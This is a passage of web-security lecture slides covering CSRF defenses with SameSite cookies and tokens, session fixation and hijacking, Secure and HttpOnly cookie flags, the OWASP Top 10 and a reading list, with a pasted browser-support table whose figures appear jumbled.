  - attacker.com requests a remote image/js from facebook.com
  - User clicks on a link to facebook.com on the attacker.com website
Countermeasures All the Way Down

While the SameSite attribute solves the core of the issue causing CSRF you should not be solely relying on it when building web applications

- Low adoption by browsers
- [http://caniuse.com/#search=samesite](http://caniuse.com/#search=samesite)
Can I use **samesite**? 1 result found

Detected your country as "U.S.A.". Would you like to import usage data for that country?

- [Import]
- [No thanks]

---

**'SameSite' cookie attribute**

Same-site cookies ("First-Party-Only" or "First-Party") allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.

<table>
<thead>
<tr>
<th></th>
<th>Current aligned</th>
<th>Usage relative</th>
<th>Date relative</th>
<th>Show all</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE</td>
<td>11</td>
<td>16</td>
<td>58</td>
<td>64</td>
</tr>
<tr>
<td>Edge</td>
<td>*</td>
<td>57</td>
<td>62</td>
<td>63</td>
</tr>
<tr>
<td>Firefox</td>
<td>10.3</td>
<td>10.2</td>
<td>11.2</td>
<td>all</td>
</tr>
<tr>
<td>Chrome</td>
<td>6.2</td>
<td>11.8</td>
<td>6.2</td>
<td>11.3</td>
</tr>
<tr>
<td>Safari</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
</tr>
<tr>
<td>iOS Safari</td>
<td>*</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
</tr>
<tr>
<td>Opera Mini</td>
<td>*</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
</tr>
<tr>
<td>Chrome for Android</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
</tr>
<tr>
<td>UC Browser for Android</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
</tr>
<tr>
<td>Samsung Internet</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
<td>6.2</td>
</tr>
</tbody>
</table>

**Notes**

This feature is backwards compatible. Browsers not supporting this feature will simply use the cookie as a regular cookie. There is no need to deliver different cookies to clients.
Countermeasures All the Way Down

While the SameSite attribute solves the core of the issue causing CSRF you should not be solely relying on it when building web applications

- Low adoption by browsers
- [http://caniuse.com/#search=samesite](http://caniuse.com/#search=samesite)

Use both the token and the SameSite attribute

- Part of the “belt-and-suspenders” mindset that we want in security
- More formally known as “defense in depth”
Session Hijacking/Fixation

It allows an attacker to gain control of a user’s session

Session fixation

Force a user to use a session identifier that is already known to the attacker

- Example: Performing CSRF with the session id

Session hijacking

Steal the user’s session identifier

- Example: XSS, Predictable session tokens, sniffing the network
Session Protection

Use cookies for session identifiers

Protecting session cookies

- Deploy application over TLS only
- Secure cookies: prevents cleartext transmission
- HttpOnly cookies: prevents script access

Set-Cookie: SID=123abc; Secure; HttpOnly
<table>
<thead>
<tr>
<th>A1</th>
<th>Injection</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2</td>
<td>Broken Auth and Session Management</td>
</tr>
<tr>
<td>A3</td>
<td>Cross-site Scripting</td>
</tr>
<tr>
<td>A4</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A5</td>
<td>Security misconfiguration</td>
</tr>
<tr>
<td>A6</td>
<td>Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7</td>
<td>Missing function level access control</td>
</tr>
<tr>
<td>A8</td>
<td>Cross-site Request Forgery</td>
</tr>
<tr>
<td>A9</td>
<td>Using components with kn. vulnerabilities</td>
</tr>
<tr>
<td>A10</td>
<td>Unvalidated redirects and Forwards</td>
</tr>
</tbody>
</table>
Reading

Pixy: A Static Analysis Tool for Detecting Web Application Vulnerabilities
https://www.auto.tuwien.ac.at/~chris/research/doc/oakland06_pixy.pdf

Web Application Security Assessment by Fault Injection and Behavior Monitoring

CSP
https://blog.mozilla.org/security/2014/10/04/csp-for-the-web-we-have/

Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart Cross-Site Scripting Attacks

SQLrand: Preventing SQL Injection Attacks

Static Detection of Second-Order Vulnerabilities in Web Applications
- https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/dahse